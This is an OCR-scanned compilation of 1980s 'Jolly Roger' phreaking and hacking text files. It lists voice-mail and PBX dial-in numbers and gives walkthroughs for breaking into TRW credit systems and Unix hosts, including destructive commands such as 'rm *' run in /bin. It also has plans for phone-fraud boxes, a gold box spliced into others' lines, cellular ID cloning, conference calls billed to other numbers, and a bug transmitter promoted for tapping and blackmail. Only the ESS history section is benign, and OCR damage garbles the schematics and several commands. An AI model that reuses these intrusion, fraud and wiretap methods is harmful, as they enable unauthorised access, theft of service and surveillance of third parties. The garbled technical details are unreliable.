800-387-8864 ROLM Canadian Tire 


800-387-8870 ROLM Halifax Life 
800-387-8871 ROLM Halifax Life 
800-387-9115 ASPEN Sunsweep 
800-387-9116 ASPEN Sunsweep 
800-387-9175 PBX [Hold Music=CHUM FM] 
800-387-9218 Voice Messenger 

800-387-9644 Carrier 

800-426-2638 Carrier 

800-524-2133 Aspen 

800-663-5000 PBX/Voice Mail [Hold Music=CFMI FM] 
800-663-5996 Voice Mail (5 rings) 
800-847-6181 Voice Mail 


NOTES: Each and every one of these numbers is available to the 604 

(British Columbia) Area Code. Most are available Canada Wide and some 

are located in the United States. Numbers designated ROLM have been 
identified as being connected to a ROLM Phonemail system. 

Numbers designated ASPEN are connected to an ASPEN voice message system. 
Numbers designated VOICE MAIL have not been identified as to equipment 

in use on that line. Numbers designated carrier are answered by a modem 

or data set. 

Most Voice Message systems, and ALL Rolms, sound like an answering machine. 
Press 0 during the recording when in a rolm, * or # or other DTMF in other 
systems, and be propelled into another world... 


Hacking TRW by the Jolly Roger 


When you call TRW, the dial up will identify itself with the message "TRW". 
It will then wait for you to type the appropiate answer back (such as CTRL-G) 
Once This has been done, the system will say "CIRCUIT BUILDING IN PROGRESS" 
Along with a few numbers. After this, it clears the screen 
(CTRL L) followed by a CTRL-Q. After the system sends the CTRL-Q, It is 
ready for the request. You first type the 4 character identifyer for the 
geographical area of the account.. 


(For Example) TCAI - for certain Calif. & Vicinity subscribers. 
TCA2 - A second CALF. TRW System. 

TNJ1 - Their NJ Database. 

TGAI - Their Georgia Database. 


The user then types A <CR> and then on the next line, he must type 
his 3 char. Option. Most Requests use the RTS option. 


OPX, RTX, and a few others exist. (NOTE) TRW will accept an A, C, 

or S as the ’X' in the options above.) Then finally, the user types his 7 

digit subscriber code. He appends his 3-4 character password after it. It 
seems that if you manage to get hold of a TRW Printout (Trashing at Sears, 
Saks, ETC. or from getting your credit printout from them) Their subscriber 
code will be on it leaving only a 3-4 character p/w up to you. 


For Example, 

(Call the DialUp) 

TRW System Types, ST) CTRL-G 

(You type, YT) Circuit building in progress 1234 

(ST) CTRL-L CRTL-Q (TCA1 CYT) BTS 3000000AAA 
<CR><CRTL-S> (YT] 

Note: This sytem is in Half Duplex, Even Parity, 7 Bits per word and 
2 Stop Bits. 


CAUTION: It is a very stressed rumor that after typing in the TRW 
password Three (3) times.. It sets an Automatic Number Identification on your 
ass, so be careful. And forget who told you how to do this.. 
mene ecerc en en enn en, Jolly Roger 
Hacking Vax's & Unix by the Jolly Roger 


Unix is a trademark of At&t (and you know what that means) 


In this article, we discuss the unix system that runs on 

the various vax systems. If you are on another unix-type system, some 
commands may differ, but since it is licenced to bell, they can't make many 
changes. 


Hacking onto a unix system is very difficult, and in this case, we advise 
having an inside source, if possible. The reason it is difficult to hack a 

vax is this: Many vax, after you get a carrier from them, respond=> 

Login: 

They give you no chance to see what the login name format is. Most commonly 
used are single words, under 8 digits, usually the person's name. There is 

a way around this: Most vax have an acct. called ‘suggest! for people to 

use to make a suggestion to the system root terminal. This is usually watched 
by the system operator, but at late he is probably at home sleeping or 
screwing someone's brains out. So we can write a program to send at the 

vax this type of a message: 

A screen freeze (Cntrl-s), screen clear (system dependant), about 255 

garbage characters, and then a command to create a login acct., after which 


you clear the screen again, then unfreeze the terminal. What this does: 
When the terminal is frozen, it keeps a buffer of what is sent. well, the 
buffer is about 127 characters long. so you overflow it with trash, and then 
you send a command line to create an acct. (System dependant). after this 
you clear the buffer and screen again, then unfreeze the terminal. This is 
a bad way to do it, and it is much nicer if you just send a command to 

the terminal to shut the system down, or whatever you are after... 

There is always, *Always* an acct. called root, the most powerful acct. 

to be on, since it has all of the system files on it. If you hack your 

way onto this one, then everything is easy from here on... 

On the unix system, the abort key is the Cntrl-d key. watch how many times 
you hit this, since it is also a way to log off the system! 

A little about unix architechture: The root directory, called root, is 

where the system resides. After this come a few 'sub' root directories, 
usually to group things (stats here, priv stuff here, the user log here...). 
Under this comes the superuser (the operator of the system), and then 
finally the normal users. In the unix 'Shell’ everything is treated the same. 
By this we mean: You can access a program the same way you access a user 
directory, and so on. The way the unix system was written, everything, 
users included, are just programs belonging to the root directory. Those 
of you who hacked onto the root, smile, since you can screw everything... 
the main level (exec level) prompt on the unix system is the $, and if you 
are on the root, you have a # (superuser prompt). 

Ok, a few basics for the system... To see where you are, and what paths 
are active in regards to your user account, then type 

=> pwd 

This shows your acct. seperated by a slash with another pathname (acct.), 
possibly many times. To connect through to another path, 

or many paths, you would type: 

You=> path1/path2/path3 

and then you are connected all the way from path] to path3. You can 

run the programs on all the paths you are connected to. If it does 

not allow you te connect to a path, then you have insufficient privs, or 

the path is closed and archived onto tape. You can run programs this way 
also: 

you=> path1/path2/path3/program-name 

Unix treats everything as a program, and thus there a few commands to 
learn... 

To see what you have access to in the end path, type=> 

Is 

for list. this show the programs you can run. You can connect to 

the root directory and run it’s programs with=> 

/root 

By the way, most unix systems have their log file on the root, so you 

can set up a watch on the file, waiting for people to log in and snatch their 


password as it passes thru the file. To connect to a directory, use the 
command: 

=> cd pathname This allows you to do what you want 

with that directory. You may be asked for a password, but this is a good 
ay of finding other user names to hack onto. 

The wildcard character in unix, if you want to search down a path for 

a game or such, is the *. 

=> Is /* 

Should show you what you can access. The file types are the same as they 
are on a dec, so refer to that section when examining file. To see what is 
in a file, use the 

=> pr 

filename command, for print file. 

We advise playing with pathnames to get the hang of the concept. There 
is on-line help available on most systems with a ‘help’ or a'?’. 

We advise you look thru the help files and pay attention to anything 
they give you on pathnames, or the commands for the system. 

You can, as a user, create or destroy directories on the tree beneath you. 
This means that root can kill everything but root, and you can kill any 
that are below you. These are the 

=> mkdir pathname 

=> rmdir pathname 

commands. 

Once again, you are not alone on the system... type=> 

who 

to see what other users are logged in to the system at the time. If you 
want to talk to them=> 

write username 

Will allow you to chat at the same time, without having to worry 

about the parser. To send mail to a user, say 

=> mail 

And enter the mail sub-system. To send a message to all the users 

on the system, say 

=> wall 

Which stands for ‘write all’. By the way, on a few systems, 

all you have to do is hit the <return> key to end the message, 

but on others you must hit the cntrl-d key. 

To send a single message to a user, say 

=> write username 

this is very handy again! If you send the sequence of characters discussed 
at the very beginning of this article, you can have the super-user terminal do 
tricks for you again. 


Privs: 
If you want superuser privs, you can either log in as root, or edit your 


acct. so it can say 

=> su 

this now gives you the # prompt, and allows you to completely by-pass the 
protection. The wonderful security conscious developers at bell made it 
very difficult to do much without privs, but once you have them, there 

is absolutely nothing stopping you from doing anything you want to. 

To bring down a unix system: 

=> chdir /bin 

=> rm * 

this wipes out the pathname bin, where all the system maintenance files are. 
Or try: 

=> r-r 

This recursively removes everything from the system except the remove 
command itself. 

Or try: 

=> kill -1,1 

=> syne 

This wipes out the system devices from operation. 

When you are finally sick and tired from hacking on the vax systems, just 
hit your entrl-d and repeat key, and you will eventually be logged out. 


The reason this file seems to be very sketchy is the fact that bell has 7 
licenced versions of unix out in the public domain, and these commands are 
those common to all of them. I recommend you hack onto the root or 

bin directory, since they have the highest levels of privs, and there 

is really not much you can do (except develop software) without them. 


Verification Circuits courtesy of the Jolly Roger 
(originally an Apple ][ file so forgive the upper case!) 


1. ONE BUSY VERIFICATION CONFERENCE CIRCUIT IS ALWAYS PROVIDED.THE 
CIRCUITIS A 

THREE-WAY CONFERENCE BRIDGE THAT ENABLES AN OPERERATOR TO VERIFY 
THE BUSY/IDLE 

CONDITION OF A SUBSCRIBER LINE,UPON REQUEST OF A PARTY ATTEMPTING TO 
REACH A 

SPECIFIED DIRECTORY NUMBER, THE OPERATOR DIALS THE CALLED LINE NUMBER 
TO 

DETERMINE IF THE LINE IS IN USE,IF THE RECEIVER IS OFF THE HOOK,OR IF THE 
LINE 

IS IN LOCKOUT DUE TO A FAULT CONDITKON.THE OPERATOR THEN RETURNS TO 
THE PARTY 

TRYING TO REACH THE DIRE CTORY NUMBER AND STATES THE CONDITION OF THE 
LINE.LINES WITH DATA SECURITY CAN NOT BE ACCESSED FOR BUSY VERIFICATION 


WHEN 
THE LINE IS IN USE.(REFER ALSO TO DATA SECURITY) 
2. THREE PORTS ARE ASSIGNED TO EACH BUSY VERIFICATION CONFERENCE 
CIRCUIT.ONE 
PORT IS FOR OPERATOR ACCESS AND TWO PORTS ARE USED TO SPLIT AN EXISTING 
CONNECTION.TO VERKFY THE BUS Y/IDLE CONDITION OF A LINE,THE OPERATOR 
ESTABLISHED A CONNECTION TO THE OPERATOR ACCESS PORT AND DIALS THE 
DIRECTORY 
NUMBER OF THE LINE TO BE VERIFIED.IF THE LINE IS IN USE, THE EXISTING 
CONNECTION IS BROKEN AND IMMEDIATLY RE-ESTABLISHED THROUGH THE 
OTHER TWO PORTS OF THE BUSY VERIFICATION CIRCUIT WITHOUT INTERRUPTION. 
BUSY VERIFICATION CIRCUIT IS CONTROLLED BY ACCESS CODE. A DEDICATED 
TRUNK CAN 
BE USED BUT IS NOT NECESSARY. 
3. THE BUSY VREIFICATION CIRCUIT ALSO CAN BE USED FOR TEST VERIFY FROM 
THE WIRE 
CHIEFS TEST PANEL. 

B, ADDITIONAL BUSY VERIFICATION CONFERENCE CIRCUITS (002749) 
O.K. THERE IT IS-RIGHT OUT OF AN ESS MANUAL WORD FOR WORD! (AND IM 
GETTING 25 
LINEAR FEET OF ESS MANUALS!!! NOT COUNTING THE STACK RECEIVED SO FAR! 


Brought to you in the Cookbook by the Jolly Roger!!!! 
White Box Plans by the Jolly Roger 


Introduction: 


The White Box is simply a portable Touch-Tone keypad. For more 
information on Touch-Tone, see my Silver Box Plans. 
Materials: 
1 Touch-Tone Keypad 
1 Miniature 1000 to 8 Ohm Transformer 
(Radio Shack # 273-1380) 
1 Standard 8 Ohm Speaker 
2 OV Batteries 
2 9V Battery Clips 


Procedure: 


(1) Connect the Red Wire from the Transformer to either terminal on the 
Speaker. 

(2) Connect the White Wire from the Transformer to the other terminal on 

the Speaker. 

(3) Connect the Red Wire from one Battery Clip to the Black Wire from the other 


Battery Clip. 

(4) Connect the Red Wire from the second Battery Clip to the Green Wire 
from the Keypad. 

(5) Connect the Blue Wire from the Keypad to the Orange/Black Wire from 
the Keypad. 
(6) Connect the Black Wire from the first Battery Clip to the two above 
wires (Blue and Black/Orange). 

(7) Connect the Black Wire from the Keypad to the Blue Wire from the 
Transformer. 
(8) Connect the Red/Green Wire from the Keypad to the Green Wire from the 
Transformer, 

(9) Make sure the Black Wire from the Transformer and the remaining wires 
from the Keypad are free. 

(10) Hook up the Batteries. 


Optional: 
(1) Put it all in a case. 
(2) Add a Silver Box to it. 


Use: 


Just use it like a normal keypad, except put the speaker next to the 
receiver of the phone you're using. 


went een eee ne een ens, Jolly Roger 
The BLAST Box Courtesy of the Jolly Roger 
Ever want to really make yourself be heard? Ever talk to someone on the phone 
who just doesn't shut up? Or just call the operator and pop her eardrum? Well, 
up until recently it has been impossible for you to do these things. That is, 
unless of course you've got a blast box. All a blast box is, is a really cheap 
amplifier, (around 5 watts or so) connected in place of the microphone on your 
telephone. It works best on model 500 AT&T Phones, and if constructed small 
enough, can be placed inside the phone. 


Construction: 


Construction is not really important. Well it is, but since I'm letting you make 
your own amp, I really don't have to include this. 


Usage: 


Once you've built your blast box, simply connect a microphone (or use the 


microphone from the phone) to the input of the amplifier, and presto. There it 
is. Now, believe it or not, this device actually works. (At least on crossbar.) 

It seems that [llinois bell switching systems allow quite alot of current to 

pass right through the switching office, and out to whoever you're calling. When 
you talk in the phone, it comes out of the other phone (again it works best if 

the phone that you're calling has the standard western electric earpiece) 
incredibly loud. This device is especially good for PBS Subscription drives. 
Have "Phun", and don't get caught! 


weeee enc encenc nn eneee Jolly Roger 
Dealing with the Rate & Route Operator 


It seems that fewer and fewer people have blue boxes 
these days, and that is really too bad. Blue boxes, while not 
all that great for making free calls (since the TPC can tell when 
the call was made, as well as where it was too and from), are 
really a lot of fun to play with. Short of becoming a real live 
TSPS operator, they are about the only way you can really play 
with the network. 


For the few of you with blue boxes, here are some phrases 
which may make life easier when dealing with the rate & route 
(R&R) operators. To get the R&R op, you senda KP + 141 + ST. 
In some areas you may need to put another NPA before the 141 
(i.e., KP + 213 + 141 + ST), if you have no local R&R ops. 


The R&R operator has a myriad of information, and all it 
takes to get this data is mumbling cryptic phrases. There are 
basically four special phrases to give the R&R ops. They are 
NUMBERS route, DIRECTORY route, OPERATOR route, and PLACE NAME. 


To get an R&R an area code for a city, one can call the 
R&R operator and ask for the numbers route. For example, to find 
the area code for Carson City, Nevada, we'd ask the R&R op for 
"Carson City, Nevada, numbers route, please." and get the answer, 
"Right... 702 plus." meaning that 702 plus 7 digits gets us 
there. 

Sometimes directory assistance isn't just NPA + 131. The 
way to get these routings is to call R&R and ask for “Anaheim, 
California, directory route, please." Of course, she'd tell us it 
was 714 plus, which means 714 + 131 gets us the D.A. op there. 
This is sort of pointless example, but I couldn't come up with a 
better one on short notice. 


Let's say you wanted to find out how to get to the inward 
operator for Sacremento, California. The first six digits of a 
number in that city will be required (the NPA and an NXX). For 
example, let us use 916 756. We would call R&R, and when the 
operator answered, say, "916 756, operator route, please.” The 
operator would say, "916 plus 001 plus.” This means that 916 
+001 + 121 will get you the inward operator for Sacramento. Do 
you know the city which corresponds to 503 640? The R&R operator 
does, and will tell you that it is Hillsboro, Oregon, if you 
sweetly ask for "Place name, 503 640, please." 


For example, let's say you need the directory route for 
Sveg, Sweden. Simply call R&R, and ask for, "International, 
Baden, Switzerland. TSPS directory route, please.” In response 
to this, you'd get, "Right... Directory to Sveg, Sweden. Country 
code 46 plus 1170." So you'd route yourself to an 
international sender, and send 46 + 1170 to get the D.A. operator 
in Sweden. 


Inward operator routings to various countries are 
obtained the same way "International, London, England, TSPS 
inward route, please." and get "Country code 44 plus 121." 
Therefore, 44 plus 121 gets you inward for London. 

Inwards can get you language assitance if you don't speak 
the language. Tell the foreign inward, "United Staes calling. 
Language assitance in completing a call to (called party) at 
(called number).” 

R&R operators are people are people too, y'know. So 
always be polite, make sure use of 'em, and dial with care. 


wre neneneneenen Jolly Roger 
Cellular Phreaking courtesy of The Jolly Roger 


The cellular/mobile phone system is one that is perfectly set up to be 
exploited by phreaks with the proper knowledge and equipment. Thanks to 
deregulation, the regional BOC's (Bell Operating Companies) are scattered 
and do not communicate much with each other. Phreaks can take advantage of 
this by pretending to be mobile phone customers whose "home base" is a city 
served by a different BOC, known as a "roamer". Since it is impractical 
for each BOC to keep track of the customers of all the other BOC's, they 
will usually allow the customer to make the calls he wishes, often with a 
surcharge of some sort. 


The bill is then forwarded to the reamer's home BOC for collection. 
However, it is fairly simple (with the correct tools) to create a bogus ID 
number for your mobile phone, and pretend to be a roamer from some other 
city and state, that's "just visiting”. When your BOC tries to collect for 

the calls from your alleged "home BOC", they will discover you are not a 
real customer; but by then, you can create an entirely new electronic 
identity, and use that instead. 

How does the cellular system know who is calling, and where they are? 
When a mobile phone enters a cell's area of transmission, it transmits its 
phone number and its 8 digit ID number to that cell, who will keep track of 
it until it gets far enough away that the sound quality is sufficiently 
diminished, and then the phone is "handed off" to the cell that the customer 
has walked or driven into. This process continues as long as the phone has 
power and is turned on. If the phone is turned off (or the car is), someone 
attempting to call the mobile phone will receive a recording along the 
lines of "The mobile phone customer you have dialed has left the vehicle 
or driven out of the service area." When a call is made to a mobile phone, 
the switching equipment will check to see if the mobile phone being called is 
"logged in”, so to speak, or present in one of the cells. If it is, the 
call will then act (to the speaking parties) just like a normal call - the 
caller may hear a busy tone, the phone may just ring, or the call may be 
answered. 

How does the switching equipment know whether or not a particular 
phone is authorized to use the network? Many times, it doesn't. When a 
dealer installs a mobile phone, he gives the phone's ID number (an 8 digit 
hexadecimal number) to the local BOC, as well as the phone number the BOC 
assigned to the customer. Thereafter, whenever a phone is present in one 
of the cells, the two numbers are checked - they should be registered to 
the same person. If they don’t match, the telco knows that an attempted 
fraud is taking place (or at best, some transmission error) and will not 
allow calls to be placed or received at that phone. However, it is 
impractical (especially given the present state of deregulation) for the 
telco to have records of every cellular customer of every BOC. Therefore, 
if you're going to create a fake ID/phone number combination, it will need 
to be "based" in an area that has a cellular system (obviously), has a 
different BOC than your local area does, and has some sort of a "roamer" 
agreement with your local BOC, 


How can one "phreak" a cellular phone? There are three general areas 
when phreaking cellular phones; using one you found in an unlocked car 
(or an unattended walk-about model), modifying your own chip set to look 
like a different phone, or recording the phone number/ID number combinations 
sent by other local cellular phones, and using those as your own. Most 
cellular phones include a crude "password" system to keep unauthorized. 
users from using the phone - however, dealers often set the password 


(usually a 3 to 5 digit code) to the last four digits of the customer's 

mobile phone number. If you can find that somewhere on the phone, you're 
in luck. If not, it shouldn't be TOO hard to hack, since most people 

aren't smart enough to use something besides "1111", "1234", or whatever. 
If you want to modify the chip set in a cellular phone you bought 

(or stole), there are two chips (of course, this depends on the model and 
manufacturer, yours may be different) that will need to be changed - one 
installed at the manufacturer (often epoxied in) with the phone's ID 
number, and one installed by the dealer with the phone number, and possible 
the security code. To do this, you'll obviously need an EPROM burner 

as well as the same sort of chips used in the phone (or a friendly and 
unscrupulous dealer!). As to recording the numbers of other mobile phone 
customers and using them; as far as I know, this is just theory... but it 
seems quite possible, if you've got the equipment to record and decode it. 
The cellular system would probably freak out if two phones (with valid 
ID/phone number combinations) were both present in the network at once, 
but it remains to be seen what will happen. 


corer nenenen nnn Jolly Roger 

Cheesebox Plans Courtesy of The Jolly Roger 
A Cheesebox (named for the type of box the first one was 

found in) is a type of box which will, in effect, make your 


telephone a Pay-Phone..... This is a simple,modernized, and easy 
way of doing it... 


Inside Info:These were first used by bookies many years ago 
as a way of making calls to people without being called by the 
cops or having their numbers traced and/or tapped...... 


How To Make A Modern Cheese Box 


Ingredients: 


1 Call Forwarding service on the line 
1 Set of Red Box Tones 


The number to your prefix's Intercept operator (do some scanning 
for this one) 


After you find the number to the intercept operator in 
your prefix, use your call-forwarding and forward all calls to 
her...this will make your phone stay off the hook(actually, now 
it waits for a quarter to be dropped in)...you now have a cheese 
box... In Order To Call Out On This Line: You must use your Red 
Box tones and generate the quarter dropping in...then,you can 
make phone calls to people...as far as I know, this is fairly 
safe, and they do not check much...Although I am not sure, I 
think you can even make credit-card calls from a cheesebox 
phone and not get traced... 


HOW TO START YOUR OWN CONFERENCES! Brought to you by The Jolly Roger 


BLACK BART SHOWED HOW TO START A CONFERENCE CALL THRU AN 800 
EXCHANGE, AND I 

WILL NOW EXPLAIN HOW TO START A CONFERENCE CALL IN A MORE ORTHODOX 
FASHIO, THE 

2600 HZ. TONE. 


FIRSTLY, THE FONE COMPANY HAS WHAT IS CALLED SWITCHING SYSTEMS. THERE 
ARE SE 

VERAL TYPES, BUT THE ONE WE WILL CONCERN OURSELVES WITH, IS ESS 
(ELECTRONIC 

SWITCHING SYSTEM). IF YOUR AREA IS ZONED FOR ESS, DO NOT START A 
CONFERENCE 

CALL VIA THE 2600 HZ. TONE, OR BELL SECURITY WILL NAIL YOUR ASS! TO FND 
OUT IF 

YOU ARE UNDER ESS, CALL YOUR LOCAL BUSINESS OFFICE, AND ASK THEM IF YOU 
CAN GET 

CALL WAITING/FORWARDING, AND IF YOU CAN, THAT MEANS THAT YOU ARE IN 
ESS COUNTRY 

, AND CONFERENCE CALLING IS VERY, VERY DANGEROUS!!! NOW, IF YOU ARE NOT 
IN ESS, 

YOU WILL NEED THE FOLLOWING EQUIPMENT: 


AN APPLE CAT I] MODEM 

A COPY OF TSPS 2 OR CAT'S MEOW 

A TOUCH TONE FONE LINE 

AND A TOUCH TONE FONE. (TRUE TONE) 
NOW, WITH TSPS 2, DO THE FOLLOWING: 


RUN TSPS 2 


CHOSE OPTION 1 
CHOSE OPTION 6 
CHOSE SUB-OPTION 9 


NOW TYPE: 
1-514-555-1212 (DASHES ARE NOT NEEDED) 


LISTEN WITH YOUR HANDSET, AND AS SOON AS YOU HEAR A LOUD 'CLICK’, THEN 
TYPE 


$ 


TO GENERATE THE 2600 HZ. TONE. THIS OBNOXIOUS TONE WILL CONTINUE FOR A 
FEW 
SECONDS, THEN LISTEN AGAIN AND YOU SHOULD HEAR ANOTHER LOUD 'CLICK'’. 


NOW TYPE: 
KM2130801050S 


WHERE 'K' = KP TONE 
'M’ = MULTI FREQUENCY MODE 
'S'= S TONE 


NOW LISTEN TO THE HANDSET AGAIN, AND WAIT UNTIL YOU HEAR THE 'CLICK' 
AGAIN. 
THEN TYPE: 


KM2139752975S 


WHERE 2139751975 IS THE NUMBER TO BILL THE CONFERENCE CALL TO. NOTE: 
213-975- 

1975 IS A DISCONNECTED NUMBER, AND I STRONGLY ADVISE THAT YOU ONLY BILL 
THE 

CALL TO THIS NUMBER, OR THE FONE COMPANY WILL FIND OUT, AND THEN.......... 
REMEBER, CONFERENCE CALLS ARE ITEMIZED, SO IF YOU DO BILL IT TO AN 
ENEMY’S NUMB 

ER, HE CAN EASILY FIND OUT WHO DID IT AND HE CAN BUST YOU! 


YOU SHOULD NOW HEAR 3 BEEPS, AND A SHORT PRE-RECORDED MESSAGE. FROM 
HERE ON, 
EVERYTHING IS ALL MENU DRIVEN. 


CONFERENCE CALL COMMANDS 


FROM THE '#' MODE: 


1 = CALL A NUMBER 

6 = TRANSFER CONTROL 

7 = HANGS UP THE CONFERENCE CALL 

9 = WILL CALL A CONFERENCE OPERATR 


STAY AWAY FROM 7 AND 9! IF FOR SOME REASON AN OPERATOR GETS ON-LINE, 
HANG UP! IF YOU GET A BUSY SIGNAL AFTER KM2130801050S8, THAT MEANS THAT 
THE 
TELECONFEREN CING LINE IS TEMPORARILY DOWN. TRY LATER, PREFERRABLY 
FROM 9AM TO 
5PM WEEK DAYS, SINCE CONFERENCE CALLS ARE PRIMARILY DESIGNED FOR 
BUSINESS 
PEOPLE. 

THE LEECH 


Gold Box Plans by The Jolly Roger 


HOW TO BUILD IT 


You will need the following: 


Two 10K OHM and three 1.4K OHM resistors 

Two 2N3904 transistors 

Two Photo Cells 

Two Red LED'S (The more light produced the better) 
A box that will not let light in 

Red and Green Wire 


Light from the #1 LED must shine directly on the photocell #1. The gold 
box I made needed the top of the LED's to touch the photo cell for it to 
work. 


The same applies to the #2 photo cell and LED. 


i 
:-PHOTOCELL--: 


:BASE 


soem De Fe 
: +LED- TRANSISTOR 


PTTTT 


2 -I-- : :COLLECTOR 
RED1--< 0 > teet t------+1-----GREEN2 
(Coo : 


Qo r-blt)-/+/+/- 141-1414 
LED 10K 10K 1.4K 1.4K 
RESISTORES 


2 
-PHOTOCELL----------------- 
‘BASE 
TITTT 
TRANSISTOR 
TITTT 
: EMITTER : 
GREEN 1 - ----------------2+-------- RED2 
/+/+/ 
1.4K 
The 1.4K resistor is variable and if the second part of the gold box is 
skipped it will still work but when someone picks up the phone they will 
hear a faint dial tone in the background and might report it to the 
Gestapo er... (AT&T), 
1.4K will give you good reception with little risk of a Gestapo agent at 
your door. 


Now that you have built it take two green wires of the same length and 
strip the ends, twist two ends together and connect them to green! and 
place a piece of tape on it with "line #1" writing on it. 


Continue the process with red! only use red wire. Repeat with red2 and 
green2 but change to line #2. 


HOW TO INSTALL 


You will need to find two phone lines that are close together. Label one of 
teh phone lines "Line #1", Cut the phone lines and take the outer coating 
off it. Tere should be 4 wires. Cut the yellow and black wires off and 

strip the red and green wires for both lines. 


Line #1 should be in two pieces. Take the green wire of one end and connect 
it to one of the green wires on the gold box. Take the other half of line 

#1 and hook the free green wire to the green wire on the phone line. Repeat 
the process with red1 and the other line. 


All you need to do now is to write down the phone numbers of the place you 
hooked it up at and go home and call it. You should get a dial tone!!! 
If not, try changing the emittor with the collector. 


Have a great time with this! = -----------, Jolly Roger 
The History of ESS Courtesy of the Jolly Roger 


Of all the new 1960s wonders of telephone technology - 
satellites, ultra modern Traffic Service Positions (TSPS) for 
operators, the picturephone, and so on - the one that gave Bell 
Labs the most trouble, and unexpectedly became the greatest 
development effort in Bell System's history, was the perfection 
of an electronic switching system, or ESS. 


It may be recalled that such a system was the specific end in 
view when the project that had culminated in the invention of the 
transistor had been launched back in the 1930s. After successful 
accomplishment of that planned miracle in 1947-48, further delays 
were brought about by financial stringency and the need for 
further development of the transistor itself. In the early 1950s, 

a Labs team began serious work on electronic switching. As early 
as 1955, Western Electric became involved when five engineers 
from the Hawthorne works were assigned to collaborate with the 
Labs on the project. The president of AT&T in 1956, wrote 
confidently, "At Bell Labs, development of the new electronic 
switching system is going full speed ahead. We are sure this will 
lead to many improvements in service and also to greater 
efficiency. The first service trial will start in Morris, Ill., 

in 1959." Shortly thereafter, Kappel said that the cost of the 
whole project would probably be $45 million. 


But it gradually became apparent that the developement of a 
commercially usable electronic switching system - in effect, a 
computerized telephone exchange - presented vastly greater 
technical problems than had been anticipated, and that, 
accordingly, Bell Labs had vastly underestimated both the time 
and the investment needed to do the job. The year 1959 passed 
without the promised first trial at Morris, Illinois; it was 
finally made in November 1960, and quickly showed how much more 
work remained to be done. As time dragged on and costs mounted, 
there was a concern at AT&T and something approaching panic at 
Bell Labs. But the project had to go forward; by this time the 
investment was too great to be sacrificed, and in any case, 
forward projections of increased demand for telephone service 
indicated that within a phew years a time would come when, 
without the quantum leap in speed and flexibility that electronic 
switching would provide, the national network would be unable to 
meet the demand. In November 1963, an all-electronic switching 
system went into use at the Brown Engineering Company at Cocoa 
Beach, Florida. But this was a small installation, essentially 
another test installation, serving only a single company. 

Kappel's tone on the subject in the 1964 annual report was, for 
him, an almost apologetic: "Electronic switching equipment must 
be manufactured in volume to unprecedented standards of 
reliability... To turn out the equipment economically and with 
good speed, mass production methods must be developed; but, at 
the same time, there can be no loss of precision..." Another year 
and millions of dollars later, on May 30, 1965, the first 
commercial electric centeral office was put into service at 
Succasunna, New Jersey. 


Even at Succasunna, only 200 of the town's 4,300 subscribers 
initially had the benefit of electronic switching's added speed 
and additional services, such as provision for three party 
conversations and automatic transfer of incoming calls. But after 
that, ESS was on its way. In January 1966, the second commercial 
installation, this one serving 2,900 telephones, went into 
service in Chase, Maryland. By the end of 1967 there were 
additional ESS offices in California, Connecticut, Minnesota, 
Georgia, New York, Florida, and Pennsylvania; by the end of 1970 
there were 120 offices serving 1.8 million customers; and by 1974 
there were 475 offices serving 5.6 million customers. 


The difference between conventional switching and electronic 
switching is the difference between "hardware" and "software"; in 
the former case, maintenence is done on the spot, with 


screwdriver and pliers, while in the case of electronic 

switching, it can be done remotely, by computer, from a centeral 
point, making it possible to have only one or two technicians on 
duty at a time at each switching center. The development program, 
when the final figures were added up, was found to have required 
a staggering four thousand man-years of work at Bell Labs and to 
have cost not $45 million but $500 million! 


The Lunch Box Courtesy of the Jolly Roger 


Introduction 


The Lunch Box is a VERY simple transmitter which can be handy for all sorts of 
things, It is quite small and can easily be put in a number of places. I have 
successfully used it for tapping fones, getting inside info, blackmail and 

other such things. The possibilities are endless. I will also include the plans 

or an equally small receiver for your newly made toy. Use it for just about 
anything. You can also make the transmitter and receiver together in one box 

and use it as a walkie talkie. 


Materials you will need 


(1) 9 volt battery with battery clip 

(1) 25-mfd, 15 volt electrolytic capacitor 
(2) .0047 mfd capacitors 

(1) .022 mfd capacitor 

(1) 51 pf capacitor 

(1) 365 pf variable capacitor 

(1) Transistor antenna coil 

(1) 2N366 transistor 

(1) 2N464 transistor 

(1) 100k resistor 

(1) 5.6k resistor 

(1) 10k resistor 

(1) 2meg potentiometer with SPST switch 
Some good wire, solder, soldering iron, board to put it on, box (optional) 


Schematic for The Lunch Box 


This may get a tad confusing but just print it out and pay attention. 


51 pf 
! 
wewbewes saeneennnene base collector 
! 2N366 0 te---t------ AA/----GND 
365 pf O emitter ! 
1X ! ! 
Fewineeee eon ---- ! 1 
! tod ! ! 
GND / 022mfd | ! 
10k\ |! ! ! 
1 GND teneeneecnncenencece nce ne! emitter 
! ! ! 2N464 
/ .0047 ! base collector 
2meg \----+ ! J pannneee +  ! 
/ ! GND bet ! 
GND 1] ! 
shewenee ene nee +.0047+-~--------n nnn ee nee + | ! 
| +--25mfd-----+ 
CP ee an ee nee aae nee! + | ! 
microphone be /n-nee + 
ee ees + 100k ! 
! 
GND---->/<-n2n-nnene ene ene ee eee LL La neeneee eee n + 
switch Battery 


from 2meg pot. 


Notes about the schematic 


1. GND means ground 
2. The GND near the switch and the GND by the 2meg potentiometer should be 
connected, 
3. Where you see: )( 
0 
)( it is the transistor antenna coil with 15 turns of 
regular hook-up wire around it. 
4. The middle of the loop on the left side (the left of "Q”) you should run 
a wire down to the "+" which has nothing attached to it. There is a .0047 
capacitor on the correct piece of wire. 
5. For the microphone use a magnetic earphone (1k to 2k). 
6. Where you see "[!]" is the antenna. Use about 8 feet of wire to broadcast 
approx 300ft. Part 15 of the FCC rules and regulation says you can't 


broadcast over 300 feet without a license. (Hahaha). Use more wire for an 
antenna for longer distances. (Attach it to the black wire on the fone 
line for about a 250 foot antenna!) 


Operation of the Lunch Box 


This transmitter will send the signals over the AM radio band. You use the 
variable capacitor to adjust what freq. you want to use. Find a good unused 
freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to 
adjust gain. Just fuck with it until you get what sounds good. The switch on 

the 2meg is for turning the Lunch Box on and off. When everything is adjusted, 
turn on an AM radio adjust it to where you think the signal is. Have a friend 
lay some shit thru the Box and tune in to it. That's all there is to it. The 

plans for a simple receiver are shown below: 


The Lunch Box receiver 


(1) 9 volt battery with battery clip 
(1) 365 pf variable capacitor 

(1) 51 pf capacitor 

(1) 1N38B diode 

(1) Transistor antenna coil 

(1) 2N366 transistor 

(1) SPST toggle switch 

(1) 1k to 2k magnetic earphone 


Schematic for receiver 


+-.-*>|----base collector----- 
diode 2N366 earphone 
emitter +----- 


GND ! 


- battery 


switch 


Closing statement 


This two devices can be built for under a total of $10.00. Not too bad. Using 
these devices in illegal ways is your option. If you get caught, I accept NO 
responsibility for your actions. This can be a lot of fun if used correctly. 
